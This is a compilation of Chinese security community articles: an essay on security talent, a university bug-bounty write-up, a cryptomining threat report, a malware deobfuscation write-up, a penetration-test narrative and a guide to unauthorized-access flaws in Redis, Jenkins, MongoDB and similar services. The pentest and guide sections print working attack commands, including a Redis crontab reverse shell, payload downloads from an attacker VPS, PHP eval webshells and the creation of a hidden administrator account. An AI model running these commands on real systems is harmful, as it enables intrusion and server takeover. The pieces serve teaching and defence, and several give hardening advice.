**防止钓鱼** **：** 安全培训天天讲，可是社工这一关很多人就是过不了。别看对手low，效果还异常的好，毕竟明枪易躲，暗箭难防。
**小结** **：**
安全本不是平等的对抗，打开恶魔的盒子不那么难，但灾后重建却异常艰难。相对于“千里之堤，溃于蚁穴”的蚂蚁，业界更需要的是为生态授粉、创造自然奇迹的蜜蜂。
## 重视“技术”， 轻视“业务”
安全是个技术对抗非常激烈的领域，但这并不代表技术高超就能把基本问题解决的很好，黑灰产对抗就是个非常好的例子。作为一个产业，现在的黑灰产已经形成了一个完整的链条，每个环节都有大量的从业者各司其职。相比较那些神奇的0day，除了极个别情况，黑灰产使用的技术都是相对基础的。即使如此仍然有大量网站被简单的注入或者弱口令攻破，无数个人信息都在地下黑市被贩卖，如果没有徐玉玉案件引起国家重拳，现在的情况可能更为糟糕。商业上的薅羊毛也让众多电商网站承受资损并搅乱了市场公平，但行业里相关的人才却很稀缺。
****
**小结** **：** 有数据表明，黑灰产的市场规模已经和网络安全市场的规模相当，都是千亿规模。整个业界的技术支持配比是否应该向1：1努力？
## 重视“反向能力”， 轻视“正向能力”
很多人都是从渗透、逆向、分析漏洞入门的，其实这些都是反向能力，如果要达到相反的目标，也就是防止渗透、防止逆向、设计没有漏洞的系统，一种是“反反向能力”，一种是“正向能力”，两者并不相同。其实这个和汽车工业有些类似，早期自主品牌造车都是逆向起家，买辆样车大卸八块，试图造出差不多的产品，吃夹生饭的结果就是动力、油耗、安全性都与原型相去甚远。下面再举几个例子。
**逆向与混淆** **：**
逆向是二进制安全的基础，但对于很多公司来说，防止产品被逆向进而保护知识产权，是个硬需求。业界目前采用的常见手段就是花指令、防调试、执行流混淆、普通壳、虚拟机壳、白盒密码。除了白盒密码，其它的都属于“反反向能力”，虽然在现实场景中大量应用，但首次分析和二次分析的强度及有效度无法用数字来度量，虚拟机壳效果好一些，但通俗点讲就是对小白很难，但对专家不难。白盒密码属于“正向能力”的初级阶段，强度至少可以通过数量级（比如2^40）来衡量，但不幸的是，目前最好的白盒密码也撑不过28天（参考CCS
2017白盒挑战赛的结论）！美国已经开始高级阶段，至少10万美金的挑战赛还没人成功，东西方差距明显。
**可靠软件** **：**
如果要开发一个功能，并确保安全可靠，很多人意识里就那么几招，功能测试、覆盖率测试、黑盒fuzz、白盒代码扫描，技术高级点的再加上个符号执行，这些也都偏“反反向能力”，因为这些测试全通过了，也不代表是安全的。有些人可能会说“本来就没有绝对的安全”，但这些测试本质上并没有说明哪些是应该的、哪些是不应该的。而“正向能力”就是要解决这些问题，这也就是为什么别人有信心造出“无法劫持的无人机”、“功能实现正常的加解密算法和协议”。
**Chrome** **与** **NaCl** **：**
如果要在浏览器上运行第三方插件，对性能要求高，必须得跑x86机器码，但如何保护安全性呢？“反方向能力”基本就是inline
hook、调试器监控异常、DBI、虚拟机执行，属于哪里有问题就去堵哪里的策略；“正向能力”就如同NaCl这种，确保生成的代码必须符合规范，并利用x86的体系架构，在加载的时候，只要通过验证就能确保安全性，其强度远超虚拟机。
**小结** **：** 精通反向能力，未必能做好正向能力。国内的反向能力与世界水平相当，但正向能力却实打实的低下，我们也应该开始重视正规军的建设了。
## 重视“人肉”， 轻视“自动化”
虽说安全的本质是人性的斗争，人的因素不可或缺，但目前大量的工作都是低级重复性的。比如漏洞分析和逆向，除了少数特别复杂和高深的对象，大部分就是纯体力劳动，以下的场景很普遍。
**小结** **：**
对于企业，如何才能让安全从业者从繁重的分析中解脱出来，更多的聚焦更有价值和挑战性的工作？如何能将部分能力沉淀到平台而不强烈依赖个体，进而更好的规模化、易用化？
## 总结
网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。 | 社区文章 |
> 本文没有getshell,漏洞已报送至教育行业漏洞平台,经验证漏洞已修复。
我挖的是edu.cn的漏洞，使用了oneforall进行子域名搜集，在看到一个标题为“某某某管理信息系统”的站点，就上手了。
## 1.任意密码重置
账号 admin 密码123456（只要是数字就会自动进入修改密码页面）
提示我们需要改密码。
我们修改成 abc123456
抓包，抓响应包。
这里面有许多学号与身份证信息，我保留下来两个作为信息搜集，为后续渗透打下基础（这两个信息现已删除）
## 2.任意密码重置
第一个任意密码重置是管理系统，这个是后面找到的用户系统
登录需要学号，学号通过Google hacking就能搜到
site:目标大学.edu.cn 学号 就能获取到一些学号。
学号的规律是后面三位会变化，前面基本都是一样的。
登录页面没有验证码，我设置密码为123456进行爆破。
登录之后
看到了邮箱，保存下来，作为一个信息搜集。
然后我退出去，想试试这个系统的忘记密码有没有机会绕过。
用的是我已经能登录的学号进行测试
诶，刚才就找到了邮箱， **第一步通过**
只需要通过第一步，邮箱是正确的，就可以绕过验证码。
## 3.越权查看他人信息
这个功能点就是一登录进来的那个页面
可以遍历
## 4.越权修改他人信息
首先我们先查看一下
id=XXXXXXXXX33的信息
然后修改一下自己的信息
抓包，重放。
我修改成了id=XXXXXXXXX33再重放的。
然后我们使用越权查询功能去查看一下信息有没有被我们修改？
修改成功~
## 5.第二个接口越权查看他人信息
两个接口，同一个效果。 | 社区文章 |
近日，阿里云安全团队发布了《2018年云上挖矿分析报告》。该报告以阿里云2018年的攻防数据为基础，对恶意挖矿态势进行了分析，并为个人和企业提出了合理的安全防护建议。
报告指出，尽管加密货币的价格在2018年经历了暴跌，但挖矿仍是网络黑产团伙在入侵服务器之后最直接的变现手段，越来越多的0-Day/N-Day漏洞在公布后的极短时间内就被用于入侵挖矿，黑产团伙利用漏洞发起攻击进行挖矿的趋势仍将持续。
以下是报告部分内容，请关注“阿里云安全”公号后，回复“报告”二字获取完整版报告下载链接。
报告主笔：悟泛
其他内容贡献者：桑铎、堇云、穆如、乐枕、燚龘、刘洪亮、南浔
# 攻击态势分析
## 【热点0-Day/N-Day漏洞利用成为挖矿团伙的"武器库",0-Day漏洞留给用户进行修复的窗口期变短】
2018年，多个应用广泛的web应用爆出高危漏洞，对互联网安全造成严重威胁。事后安全社区对漏洞信息的分析和漏洞细节的分享，让利用代码能够方便的从互联网上获取。挖矿团伙自然不会放过这些唾手可得的“武器库”。此外一些持续未得到普遍修复的N-Day漏洞往往也会被挖矿团伙利用。本报告梳理了部分热点0-Day/N-Day漏洞被挖矿团伙大量利用的事件。
同时阿里云观察到，0-Day漏洞从披露到大规模利用之间的时间间隔越来越小。因此在高危0-Day漏洞爆出后未能及时修复的用户，容易成为恶意挖矿的受害者。
## 【非Web网络应用暴露在公网后成为挖矿团伙利用的重灾区】
企业对Web应用可能造成的安全威胁已经有足够的重视，WAF、RASP、漏洞扫描等安全产品也提升了Web应用的安全水位。而非Web网络应用(Redis、Hadoop、SQLServer等)往往并非企业核心应用，企业在安全加固和漏洞修复上投入并不如Web应用，往往导致高危漏洞持续得不到修复，因而挖矿团伙也会针对性利用互联网上这些持续存在的弱点应用。本报告梳理了2018年非Web网络应用漏洞被挖矿团伙利用的时间线。
## 【挖矿团伙广泛利用暴力破解进行传播，弱密码仍然是互联网面临的主要威胁】
下图为不同应用被入侵导致挖矿所占百分比，可以发现SSH/RDP/SQLServer是挖矿利用的重点应用，而这些应用通常是因为弱密码被暴力破解导致被入侵感染挖矿病毒。由此可以看出弱密码导致的身份认证问题仍然是互联网面临的重要威胁。
恶意行为
## 【挖矿后门普遍通过蠕虫形式传播】
大多数的挖矿团伙在感染受害主机植入挖矿木马后，会控制这些受害主机对本地网络及互联网的其他主机进行扫描和攻击，从而扩大感染量。这些挖矿木马传播速度较快，且很难在互联网上根除，因为一旦少量主机受到恶意程序感染，它会受控开始攻击其他主机，导致其它带有漏洞或存在配置问题的主机也很快沦陷。
少量挖矿团伙会直接控制部分主机进行网络攻击，入侵受害主机后只在主机植入挖矿后门，并不会进一步扩散。最有代表性的就是8220挖矿团伙。这类团伙一般漏洞利用手段比较丰富，漏洞更新速度较快。
## 【挖矿团伙会在受害主机上通过持久化驻留获取最大收益】
大多数的挖矿团伙，都会尝试在受害主机上持久化驻留以获取最大收益。
通常在Linux系统中，挖矿团伙通过crontab设置周期性被执行的指令。在Windows系统中，挖矿团伙通常使用schtask和WMI来达到持久化的目的。
如下为Bulehero木马执行添加周期任务的schtask命令:
cmd /c schtasks /create /sc minute /mo 1 /tn "Miscfost" /ru system /tr "cmd /c C:\Windows\ime\scvsots.exe"
cmd /c schtasks /create /sc minute /mo 1 /tn "Netframework" /ru system /tr "cmd /c echo Y|cacls C:\Windows\scvsots.exe /p everyone:F"
## 【挖矿团伙会通过伪装进程、加壳、代码混淆、私搭矿池或代理等手段规避安全分析和溯源】
Bulehero挖矿网络使用的病毒下载器进程名为scvsots.exe，与windows正常程序的名字svchost.exe极其相似；其它僵尸网络使用的恶意程序名，像taskhsot.exe、taskmgr.exe、java这类形似正常程序的名称也是屡见不鲜。
在分析挖矿僵尸网络的过程中我们发现，大多数后门二进制程序都被加壳，最经常被使用的是Windows下的UPX、VMP、sfxrar等，如下图，几乎每个RDPMiner使用的恶意程序都加了上述三种壳之一。
此外，挖矿团伙使用的恶意脚本往往也经过各种混淆。如下图，JBossMiner挖矿僵尸网络在其vbs恶意脚本中进行混淆加密。
尽管人工分析时可以通过多种手段去混淆或解密，但加密和混淆对逃避杀毒软件而言，仍是非常有效的手段。
恶意挖矿团伙使用自己的钱包地址连接公开矿池，可能因为矿池收到投诉导致钱包地址被封禁。挖矿团伙倾向于更多的使用矿池代理或私搭矿池的方式进行挖矿。进而安全研究人员也难以通过矿池公布的HashRate和付款历史估算出被入侵主机的数量和规模。
# 主流团伙概述
## 1.DDG挖矿团伙
从2017年底首次被曝光至今，DDG挖矿僵尸网络一直保持着极高的活跃度。其主要恶意程序由go语言写成，客观上对安全人员研究分析造成了一定阻碍。而频繁的程序配置改动、技术手段升级，使它堪称2018年危害最大的挖矿僵尸网络。
DDG（3019）各模块结构功能
## 2.8220挖矿团伙
在诸多挖矿僵尸网络中，8220团伙的挖矿木马独树一帜，因为它并未采用蠕虫型传播，而是直接对漏洞进行利用。
这种方式理论上传播速度较慢，相较于蠕虫型传播的僵尸网络也更难存活，但8220挖矿团伙仍以这种方式获取了较大的感染量。
挖矿网络结构
## 3.Mykings(theHidden)挖矿团伙
Mykings（又名theHidden“隐匿者”）挖矿网络在2017年中就被多家友商提及并报道。它从2014年开始出现，时至今日该僵尸网络依然活跃，可以说是拥有非常旺盛的生命力。该僵尸网络极为复杂，集成了Mirai、Masscan等恶意程序的功能，此外在payload、BypassUAC部分都使用极其复杂的加密混淆技术，掩盖攻击意图，逃避安全软件的检测和安全研究人员的分析。该挖矿僵尸网络在11月底更是被发现与“暗云”联手，危害性再次增强。
挖矿网络结构
## 4.Bulehero挖矿团伙
挖矿网络结构
## 5.RDPMiner挖矿团伙
该挖矿僵尸网络自2018年10月开始蔓延，之后多次更换挖矿程序名称。
挖矿网络结构
## 6.JbossMiner挖矿团伙
阿里云安全团队于2018年3月报道过，从蜜罐中捕获到JbossMiner的恶意程序样本，该样本由py2exe打包，解包反编译后是一套由Python编写的完整攻击程序，包含源码及依赖类库等数十个文件。且对于Windows和Linux系统的受害主机，有不同的利用程序。
挖矿网络结构
## 7.WannaMine
WannaMine是一个蠕虫型僵尸网络。这个挖矿团伙的策略曾被CrowdStrike形容为“靠山吃山靠水吃水”(living off the
land)，因为恶意程序在被感染的主机上，首先会尝试通过Mimikatz收集的密码登录其他主机，失败之后再利用“永恒之蓝”漏洞攻击其他主机，进行繁殖传播。
挖矿网络结构
## 8.Kworkerd
这是一个主要攻击Redis数据库未授权访问漏洞的挖矿僵尸网络，因其将挖矿程序的名字伪装成Linux正常进程Kworkerd故得名。
该木马只利用一种漏洞却仍有不少感染量，说明数据库安全配置亟待得到用户的重视。
## 9.DockerKiller
随着微服务的热度不断上升，越来越多的企业选择容器来部署自己的应用。而Docker作为实现微服务首选容器，在大规模部署的同时其安全性却没有引起足够的重视。2018年8月，Docker配置不当导致的未授权访问漏洞遭到挖矿团伙的批量利用。
挖矿网络结构
# 安全建议
如今尽管币价低迷，但由于经济形势承受下行的压力，可能为潜在的犯罪活动提供诱因。阿里云预计，2019年挖矿活动数量仍将处于较高的水位；且随着挖矿和漏洞利用相关知识的普及，恶意挖矿的入场玩家可能趋于稳定且伴有少量增加。
基于这种状况，阿里云安全团队为企业和个人提供如下安全建议：
* 安全系统中最薄弱的一环在于人，最大的安全问题也往往出于人的惰性，因此弱密码、爆破的问题占了挖矿原因的半壁江山。无论是企业还是个人，安全意识教育必不可少；
* 0-Day漏洞修复的窗口期越来越短，企业需要提升漏洞应急响应的效率，一方面是积极进行应用系统更新，另一方面是关注产品的安全公告并及时升级，同时也可以选择购买安全托管服务提升自己的安全水位；
* 伴随着云上弹性的计算资源带来的便利，一些非Web类的网络应用暴露的风险也同步上升，安全运维人员应该重点关注非Web类的应用伴随的安全风险，或者选择购买带IPS功能的防火墙产品，第一时间给0-Day漏洞提供防护。 | 社区文章 |
# 浅谈海莲花某样本反混淆
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[houjingyi](https://twitter.com/hjy79425575)
## 前言
先说一下样本是我在2017年分析的，2019年我又完善了一下用到的反混淆脚本。我做过一年多的样本分析，也没有分析过比这更复杂的。
1.ESET的分析：<https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf>
样本分析的很详细，不过只提了一点点样本混淆的手法，也没有提怎么做反混淆。
2.checkpoint的分析：<https://research.checkpoint.com/deobfuscating-apt32-flow-graphs-with-cutter-and-radare2/>
主要就是讲怎么做反混淆，开源了一个Cutter和Radare2的插件，能去除一些混淆。没有对样本进行分析。
我当时自己是写了一个基于capstone的python反混淆脚本去除垃圾代码并还原控制流，虽然代码写的很烂，用的方法也很烂，但是自己也不会再做这方面的工作了，与其烂在硬盘里不如和大家分享一下。时间有点久，有些东西记不清楚了，正文里面如果有说错的地方希望读者能多多包涵。
这里先说一点题外话。以前刚刚干这一行的时候听别人说安全是一个体力活，是人与人之间的对抗。当时不懂，后来才好像有一点理解是什么意思。比如说做样本分析，在样本分析师和样本的作者水平相同的情况下，样本的作者用了10天的时间一共x种方法混淆这个样本，样本分析师想要完全反混淆去还原这个样本就要一个一个去还原这x种方法，花的时间一定是大于10天的(当然样本分析师通过经验积累能越来越熟练)。如果一个CTF比赛，出题人花几周甚至更长的时间用了很多种混淆方法写一个壳，做题的人需要在几天的时间内拿到flag，那不出意外也没有人能做出来。
## 正文
接下来讲解一下反混淆脚本的流程。
首先capstone会把switch的jumptable识别为代码，所以我在脚本中标记了这些jumptable的地址。
将jumptable全部patch成0x90，调用capstone的disasm方法反汇编，将结果保存在名为read_code的dict中。dict的key是指令的地址，value记录了指令的长度，上一条指令的地址(第一条指令上一条指令的地址是0)，指令的地址，指令的内容，指令的操作数和指令的助记符。并且为了方便我将所有jmp
eax这样jmp一个寄存器的指令中的jmp改成call。
样本中插入了很多像下面这样的垃圾指令：
有pushfd+垃圾指令+popfd这样的，也有pushfd+垃圾指令+popfd+垃圾指令+popfd或者pushfd+垃圾指令+pushfd+垃圾指令+popfd等等情况。还有pushfd之前和popfd之后可能也会有少量的垃圾指令，在expand_pushfd_popfd函数中把这些垃圾指令也尽量都考虑进去。最后将结果保存在名为junk_code_pair的dict中。dict的key是垃圾指令的起始地址，valve是垃圾指令的结束地址。用名为junk_code的dict对垃圾指令进行标记，dict的key是指令的地址，valve为1表示该指令是垃圾指令。
不过有一些特殊的情况需要处理。
1.有时pushf之前和popf之后有一对相反的条件跳转：
pushf之前：
popf之后：
以上图为例，这个时候需要把0x291C85D处的js改成jmp，并且将0x291C863-0x291C8D5之间的指令标记为垃圾指令。
2.有时pushf之前有一条push 0xAAAAAAAA或者mov dword ptr [esp],
0xAAAAAAAA这样的指令，popf之后是一个retn：
pushf之前：
popf之后：
这个时候直接改成call 0xAAAAAAAA。把新创建的call保存在名为new_call的dict中。
还要考虑push 0xAAAAAAAA+垃圾代码+push
0xBBBBBBBB+垃圾代码+retn+垃圾代码+retn这样的情况。这时候会先执行0xBBBBBBBB处的代码再执行0xAAAAAAAA处的代码，而改成call指令之后会先执行0xAAAAAAAA处的代码再执行0xBBBBBBBB处的代码。所以需要修正。
接下来需要恢复程序的控制流，程序的控制流被打乱是因为插入了很多jmp导致IDA
Pro反编译F5效果不好。先标记所有的jmp。一共有四种jmp，第一种是jmp
+5这样无意义的jmp(值为-2)，第二种可能是死循环的jmp(值为-1或者大于1)，第三种是jmp一个寄存器(值为0)，第四种是正常的jmp(值为1)。对于死循环的情况，比如说0x1000处的指令是jmp
0x2000，0x2000处的指令是jmp 0x1000，那么这两个jmp的标记都是2；再比如说0x3000处的指令是jmp
0x3000，那么这个jmp的标记就是-1。做标记的目的是为了防止处理时陷入到死循环里面。
比如说0x1000处的指令为jmp 0x2000，0x2000处的指令为XXX，0x2010处的指令为jmp
0x3000，0x3000处的指令为YYY，0x3010处的指令为jmp
0x4000，0x4000处的指令为retn。那么我的想法是将0x1000处开始的指令改成XXX，YYY和retn，避免出现过多jmp的情况。这里还有一个小细节是需要把两个字节的条件跳转和非条件跳转改成5/6个字节的，因为原来的字节很可能已经不够用了。
在process_read_code函数中调用deal_jmp函数恢复了控制流，跳过了垃圾代码，整理好的代码放在了和read_code类似的名为write_code的dict中。这个过程中得到一个名为code_mapping的dict，key是read_code中指令的地址，valve是该指令被写到write_code中的地址的列表。接下来调用process_write_code函数根据code_mapping修正write_code中指令。
除了指令需要修正以外别忘了数据也需要修正。这样基本就是我的反混淆脚本的整个流程了。
## 结论
最后我们来看一下处理完之后的效果，一些函数已经基本恢复出来了：
磁盘相关：
注册表相关：
如果不做处理是不可能F5得到这样的比较清晰的结果的。再多说一句，shellcode中恢复Windows
API名我以前讲过一些方法：[XKungfoo2018:2017年恶意代码威胁回顾和快速分析实践](http://img.4hou.com/wp-content/uploads/2018/05/6e1d77e660d4740dc9b7.pdf)
不过要分析到ESET报告里面那个程度可能还需要对脚本进行完善或者动态调试，还得花一些时间，因为其实还有一些函数是没有恢复出来的，后来不做样本分析以后我也不想继续在这件事上浪费时间了。
最后给出代码和bin文件：<https://github.com/houjingyi233/APT32-deobfuscation> | 社区文章 |
## 0x00
对某单位的某主机系统一次渗透，敏感信息皆已打码
目标环境Windows Server 2008 R2 + IIS7.5 + ASP.NET2.0.50727
## 0x01
该系统为一个预约系统，先进行端口扫描，发现开放了很多端口，其中值得注意的135, 445,
3389端口被防火墙过滤，1433端口开放。爆破1433的sa密码往往很有难度，所以暂时先放着
## 0x02
手工测试功能点，fuzz发现几乎所有的SELECT
SQL参数点都不可以注入，这时可以猜到后台使用了统一的查询方式（参数化或ORM），所以就没必要接着尝试SELECT参数了，可以转而将目光放在UPDATE或INSERT，说不定会有转机
果然，测试后发现用户邮箱修改处存在time-based盲注
这里对邮箱格式存在一个前端验证，简单绕过就可以了
之后getshell后查看源码也证实是由于UPDATE语句没有做参数化查询
## 0x03
SQLMap一把梭，先测试是否有DBA权限
很幸运
尝试直接使用xp_cmdshell组件执行命令，这里由于是sa用户，所以往往对应的系统权限也很高，这里直接就是SYSTEM权限
## 0x04
想继续发掘有用的信息，但发现一个问题，通过时间盲注来获取命令回显很慢，一条`dir`指令回显几乎需要5-10min，所以需要考虑获取一个WebShell或Meterpreter
WebShell由于不知道绝对路径且获取回显困难，所以暂且搁置
尝试从VPS下载远控，certuril, vbs，无一例外失败了
// certutil
certutil -urlcache -split "http://1.1.1.1/1.exe"
// vbs
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> d.vbs
cscript d.vbs http://1.1.1.1/1.exe C:\\Windows\\temp\\1.exe
接下来需要确定是由于下载失败还是下载成功但被杀，尝试下载普通文本文件————成功。
接着尝试直接执行CS生成的ps1发现一样失败了，猜测是服务器的杀软进行了动态行为的二次确认
## 0x05
冷静下来再想想，接下来可以尝试写WebShell；或者找到SQL
SERVER的配置文件，直接通过开放在公网的1433端口连接，然后xp_cmdshell执行命令（这个的回显当然比时间盲注快多了），但找配置文件的前提还是得找到WEB目录。通过已有的时间盲注来翻目录怕是得找一天，所以我需要通过尽可能少的回显来获知绝对路径
通过wmic先确定目标系统的所有盘符
wmic logicaldisk where DriveType=3 get DeviceID
接着通过web路径中某些特征文件名来通配查找
for /r C:\ %i in (dir1\dir2\special_name.asp*) do @echo %i
for /r C:\ %i in (dir1\dir2\special_name.asp*) do @echo %i
这里由于回显需要时间，就不在os-shell中复现了，通过AntSword演示
这里回显了7个路径，挨个尝试`echo 1> xx\xx\1.txt`，最后确定了WEB目录为`E:\Program files (x86)\`下的某目录
愉快的写入WebShell
连接
## 0x06
WebShell仅仅是iis权限，所以翻一翻配置文件
这个回显就方便多了
## 0x07
最开始扫目录有管理员登录后台，查询管理员密码，发现密码是80 bytes的加密字符串
没有找到源码的加密函数（部分源码只有binary没有.cs），如果有师父知道这是什么加密，欢迎交流
最后想了想，嗯，直接把我普通用户的加密密码插入admin表吧
成功登录后台
## 0x08
还记得目标开了3389，尝试连接
通过xp_cmdshell的SYSTEM权限添加用户
net user iv4n$ xxxxxxx /add
net localgroup administrators iv4n$ /add
但防火墙限制了3389的外网访问，尝试通过socks代理转发
（考虑到EXE需要免杀，所以本打算使用系统netsh组件端口转发，连接时却转发异常，之后使用reGeorge访问目标内网端口）
all seems fine, 测试一下没问题
编辑proxychains的配置为本地4444端口的socks4代理，通过proxychains套rdesktop连接
## 0x09
目标系统没有域环境，所以测试就到此为止了
本文如有错误，欢迎各位师父指出 :) | 社区文章 |
作者：[w2n1ck@安全脉搏](https://mp.weixin.qq.com/s/Q-an-kpdE7r8Q9bX2YNbTA
"w2n1ck@安全脉搏")
#### 前言
今年5月，比特币勒索病毒 WannaCry
席卷全球，国内众多机构部门计算机系统瘫痪。根据之前应急响应的案例分析，以及一些安全报告统计，目前大部分的勒索病毒均利用未授权访问等通用漏洞进行植入、勒索，尤其是
Redis、MongoDB
等数据库的未授权访问漏洞尤其严重。参见[《【脉搏译文系列】如何高效的应对勒索软件》](https://www.secpulse.com/archives/61046.html
"《【脉搏译文系列】如何高效的应对勒索软件》")
#### 0x01 介绍
未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷，导致其他用户可以直接访问，从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。
目前主要存在未授权访问漏洞的有：NFS 服务，Samba
服务，LDAP，Rsync，FTP，GitLab，Jenkins，MongoDB，Redis，ZooKeeper，ElasticSearch，Memcache，CouchDB，Docker，Solr，Hadoop，Dubbo
等，本文主要介绍一些目前比较常用的一些服务的未授权访问，欢迎大家补充！
#### 0x02 Redis未授权访问
##### 2.1 漏洞描述
Redis 因配置不当可以未授权访问。攻击者无需认证访问到内部数据，可导致敏感信息泄露，也可以恶意执行 flushall 来清空所有数据。如果 Redis
以 root 身份运行，可以给 root 账户写入 SSH 公钥文件，直接通过 SSH 登录受害服务器。
##### 2.2 漏洞利用
###### 1、利用计划任务执行命令反弹shell
在 redis 以 root 权限运行时可以写 crontab 来执行命令反弹shell
先在自己的服务器上监听一个端口
`nc -lvnp 4444`
然后执行命令:
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
###### 2、写 ssh-keygen 公钥登录服务器
在以下条件下，可以利用此方法
1. Redis服务使用 root 账号启动
2. 服务器开放了 SSH 服务，而且允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器。此方法具体参考：[redis配置不当可直接导致服务器被控制](https://www.secpulse.com/archives/40406.html "redis配置不当可直接导致服务器被控制")
###### 3、获取 web 服务的 webshell
当 redis 权限不高时，并且服务器开着 web 服务，在 redis 有 web 目录写权限时，可以尝试往 web 路径写 webshell。
执行以下命令
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save
即可将 shell 写入 web 目录
##### 2.3 漏洞加固
可以配置 redis.conf 这个文件，在安装目录下
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
requirepass www.secpulse.com
3、在需要对外开放的时候修改默认端口
port 2333
4、最后还可以配合iptables限制开放
#### 0x03 Jenkins 未授权访问
##### 3.1 漏洞描述
默认情况下 Jenkins
面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。
##### 3.2 漏洞利用
###### 1、Jenkins 未授权访问可执行命令
http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
`println "ifconfig -a".execute().text` 执行一些系统命令
直接 wget 下载 back.py 反弹 shell
println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text
back.py 并不需要 root 权限
不想反弹试试 Terminal Plugin
###### 2、Jenkins 未授权访问写 shell
jenskins 是 java web 项目,我们用 java 的 File 类写文件
new File("c://temp//secpulse.txt").write("""
1
2
3
""");
新建一个内容为1,2,3(每一行)的 1.txt 到 c 盘的 temp 文件夹,运行如下命令`println “powershell dir
c:\temp”.execute().text`如果写成功,那么 secpulse.txt 就会在返回结果中!
wget写webshell
1. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//参数-n 不要在最后自动换行
Result: 0 表示成功写入 Result: 1 表示目录不存在或者权限不足 写入失败 Result: 2 表示构造有异常 写入失败
具体其他详细利用方法参考：[知其一不知其二之Jenkins
Hacking](https://www.secpulse.com/archives/2166.html "知其一不知其二之Jenkins
Hacking")
##### 3.3 漏洞加固
1、禁止把Jenkins直接暴露在公网
2、添加认证，设置强密码复杂度及账号锁定。
#### 0x04 MongoDB未授权访问
##### 4.1 漏洞描述
开启 MongoDB
服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库，登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。
##### 4.2 漏洞利用
##### 4.3 漏洞加固
###### 1、为MongoDB添加认证：
1)MongoDB启动时添加--auth参数
2)给MongoDB添加用户：
use admin #使用admin库
db.addUser("root", "123456") #添加用户名root密码123456的用户
db.auth("root","123456") #验证下是否添加成功，返回1说明成功
###### 2、禁用HTTP和REST端口
MongoDB 自身带有一个 HTTP 服务和并支持 REST 接口。在2.6以后这些接口默认是关闭的。mongoDB
默认会使用默认端口监听web服务，一般不需要通过 web 方式进行远程管理，建议禁用。修改配置文件或在启动的时候选择 `–nohttpinterface`
参数 `nohttpinterface=false`
###### 3、限制绑定IP
启动时加入参数`--bind_ip 127.0.0.1`
或在`/etc/mongodb.conf`文件中添加以下内容：`bind_ip = 127.0.0.1`
#### 0x05 ZooKeeper 未授权访问
##### 5.1 漏洞描述
Zookeeper 的默认开放端口是2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证，造成攻击者可以远程利用
Zookeeper，通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏（比如：kill命令）。攻击者能够执行所有只允许由管理员运行的命令。
##### 5.2 漏洞利用
执行以下命令即可远程获取该服务器的环境： echo envi | nc ip port
直接连接： ./zkCli.sh -server ip:port
##### 5.3 漏洞加固
1、禁止把 Zookeeper 直接暴露在公网
2、添加访问控制，根据情况选择对应方式（认证用户，用户名密码）
3、绑定指定 IP 访问
#### 0x06 Elasticsearch 未授权访问
##### 6.1 漏洞描述
Elasticsearch 是一款 java 编写的企业级搜索服务。越来越多的公司使用 ELK
作为日志分析，启动此服务默认会开放9200端口，可被非法操作数据
##### 6.2 漏洞利用
漏洞检测：默认端口9200
相当于一个API，任何人访问这个地址，就可以调用api，进行数据的增删改操作。
http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river
##### 6.3 漏洞加固
1、防火墙上设置禁止外网访问 9200 端口。
2、使用 Nginx 搭建反向代理，通过配置 Nginx 实现对 Elasticsearch 的认证
3、限制IP访问，绑定固定IP
4、在`config/elasticsearch.yml`中为 9200 端口设置认证：
http.basic.enabled true #开关，开启会接管全部HTTP连接
http.basic.user "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
#### 0x07 Memcache 未授权访问
##### 7.1 漏洞描述
Memcached 是一套常用的 key-value 缓存系统，由于它本身没有权限控制模块，所以对公网开放的 Memcache
服务很容易被攻击者扫描发现，攻击者通过命令交互可直接读取 Memcached 中的敏感信息。
##### 7.2 漏洞利用
1、登录机器执行`netstat -an |more`命令查看端口监听情况。回显 0.0.0.0:11211 表示在所有网卡进行监听，存在
memcached 未授权访问漏洞。
2、`telnet <target> 11211`，或`nc -vv <target> 11211`，提示连接成功表示漏洞存在
##### 7.3 漏洞加固
1、设置 memchached 只允许本地访问
2、禁止外网访问 Memcached 11211 端口
3、编译时加上–enable-sasl，启用SASL认证
#### 0x08 Hadoop 未授权访问
##### 8.1 漏洞描述
由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web
